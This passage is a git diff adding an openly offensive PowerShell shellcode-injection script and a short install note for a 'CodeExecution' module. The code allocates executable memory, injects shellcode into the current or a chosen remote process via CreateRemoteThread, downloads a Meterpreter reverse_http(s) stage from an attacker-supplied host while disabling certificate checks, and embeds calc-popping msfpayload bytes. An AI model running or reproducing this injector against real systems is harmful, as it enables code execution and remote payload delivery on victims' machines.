+ Write-Verbose 'Emitting 64-bit assembly call stub.'
+ }
+
+ # Allocate inline assembly stub
+ $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
+
+ if (!$RemoteStubAddr)
+ {
+ Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
+ }
+
+ Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Write 32-bit assembly stub to remote process memory space
+ $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
+
+ # Execute shellcode as a remote thread
+ $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
+
+ if (!$ThreadHandle)
+ {
+ Throw "Unable to launch remote thread in PID: $ProcessID"
+ }
+
+ # Close process handle
+ $CloseHandle.Invoke($hProcess) | Out-Null
+
+ Write-Verbose 'Shellcode injection complete!'
+ }
+
+ function Local:Inject-LocalShellcode
+ {
+ if ($PowerShell32bit) {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ return
+ }
+
+ $Shellcode = $Shellcode32
+ Write-Verbose 'Using 32-bit shellcode.'
+ }
+ else
+ {
+ if ($Shellcode64.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode64 variable!'
+ return
+ }
+
+ $Shellcode = $Shellcode64
+ Write-Verbose 'Using 64-bit shellcode.'
+ }
+
+ # Allocate RWX memory for the shellcode
+ $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
+ if (!$BaseAddress)
+ {
+ Throw "Unable to allocate shellcode memory in PID: $ProcessID"
+ }
+
+ Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Copy shellcode to RWX buffer
+ [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
+
+ # Get address of ExitThread function
+ $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
+
+ if ($PowerShell32bit)
+ {
+ $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
+
+ Write-Verbose 'Emitting 32-bit assembly call stub.'
+ }
+ else
+ {
+ $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
+
+ Write-Verbose 'Emitting 64-bit assembly call stub.'
+ }
+
+ # Allocate RWX memory for the thread call stub
+ $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
+ if (!$CallStubAddress)
+ {
+ Throw "Unable to allocate thread call stub."
+ }
+
+ Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Copy call stub to RWX buffer
+ [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
+
+ # Launch shellcode in it's own thread
+ $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
+ if (!$ThreadHandle)
+ {
+ Throw "Unable to launch thread."
+ }
+
+ # Wait for shellcode thread to terminate
+ $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
+
+ $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
+ $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
+
+ Write-Verbose 'Shellcode injection complete!'
+ }
+
+ # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
+ $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
+ if ($IsWow64ProcessAddr)
+ {
+ $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
+ $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
+
+ $64bitCPU = $true
+ }
+ else
+ {
+ $64bitCPU = $false
+ }
+
+ if ([IntPtr]::Size -eq 4)
+ {
+ $PowerShell32bit = $true
+ }
+ else
+ {
+ $PowerShell32bit = $false
+ }
+
+ if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
+ {
+ if (!$PowerShell32bit) {
+ # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
+ # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
+
+ # Pull out just the content of the this script's invocation. This is only accessible via a private field of the InvocationInfo object instance
+ $RootInvocation = $MyInvocation.GetType().GetField('_scriptPosition', 'NonPublic, Instance').GetValue($MyInvocation).Text
+
+ $Response = $True
+
+ if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
+ "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
+
+ if ( !$Response )
+ {
+ # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
+ Return
+ }
+
+ # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
+ if ($MyInvocation.BoundParameters['Force'])
+ {
+ Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
+ $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
+ }
+ else
+ {
+ Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
+ $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
+ }
+
+ $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
+ $EncodedCommand = [Convert]::ToBase64String($CommandBytes)
+
+ $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
+ Invoke-Expression -Command $Execute | Out-Null
+
+ # Exit the script since the shellcode will be running from x86 PowerShell
+ Return
+ }
+
+ $Response = $True
+
+ if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
+ "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
+
+ if ( !$Response )
+ {
+ # User opted not to carry out download of Metasploit payload. Exit function
+ Return
+ }
+
+ switch ($Payload)
+ {
+ 'windows/meterpreter/reverse_http'
+ {
+ $SSL = ''
+ }
+
+ 'windows/meterpreter/reverse_https'
+ {
+ $SSL = 's'
+ # Accept invalid certificates
+ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
+ }
+ }
+
+ # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
+ $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
+ Write-Verbose "Requesting meterpreter payload from $Request"
+
+ $Uri = New-Object Uri($Request)
+ $WebClient = New-Object System.Net.WebClient
+ $WebClient.Headers.Add('user-agent', "$UserAgent")
+
+ try
+ {
+ [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
+ }
+ catch
+ {
+ Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
+ }
+ [Byte[]] $Shellcode64 = $Shellcode32
+
+ }
+ elseif ($PSBoundParameters['Shellcode'])
+ {
+ # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
+ # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
+ [Byte[]] $Shellcode32 = $Shellcode
+ [Byte[]] $Shellcode64 = $Shellcode32
+ }
+ else
+ {
+ # Pop a calc... or whatever shellcode you decide to place in here
+ # I sincerely hope you trust that this shellcode actually pops a calc...
+ # Insert your shellcode here in the for 0xXX,0xXX,...
+ # 32-bit payload
+ # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
+ [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
+ 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
+ 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
+ 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
+ 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
+ 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
+ 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
+ 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
+ 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
+ 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
+ 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
+ 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
+ 0x61,0x6c,0x63,0x00)
+
+ # 64-bit payload
+ # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
+ [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
+ 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
+ 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
+ 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
+ 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
+ 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
+ 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
+ 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
+ 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
+ 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
+ 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
+ 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
+ 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
+ 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
+ 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
+ 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
+ }
+
+ if ( $PSBoundParameters['ProcessID'] )
+ {
+ # Inject shellcode into the specified process ID
+ $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
+ $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
+ $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
+ $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
+ $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
+ $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
+ $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
+ $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
+ $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
+ $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
+ $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
+ $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
+ $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
+ $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
+ $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
+
+ Write-Verbose "Injecting shellcode into PID: $ProcessId"
+
+ if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
+ "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
+ {
+ Inject-RemoteShellcode $ProcessId
+ }
+ }
+ else
+ {
+ # Inject shellcode into the currently running PowerShell process
+ $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
+ $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
+ $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
+ $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
+ $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
+ $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
+ $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
+ $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
+ $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
+ $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
+ $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
+ $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
+
+ Write-Verbose "Injecting shellcode into PowerShell"
+
+ if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
+ "Injecting shellcode into the running PowerShell process!" ) )
+ {
+ Inject-LocalShellcode
+ }
+ }
+
+}
diff --git a/CodeExecution/Usage.md b/CodeExecution/Usage.md
new file mode 100644
index 0000000..f39a1e5
--- /dev/null
+++ b/CodeExecution/Usage.md
@@ -0,0 +1,12 @@
+To install this module, drop the entire CodeExecution folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
+
+The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
+The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
+
+To use the module, type `Import-Module CodeExecution`
+
+To see the commands imported, type `Get-Command -Module CodeExecution`
+
+For help on each individual command, Get-Help is your friend.
+
+Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file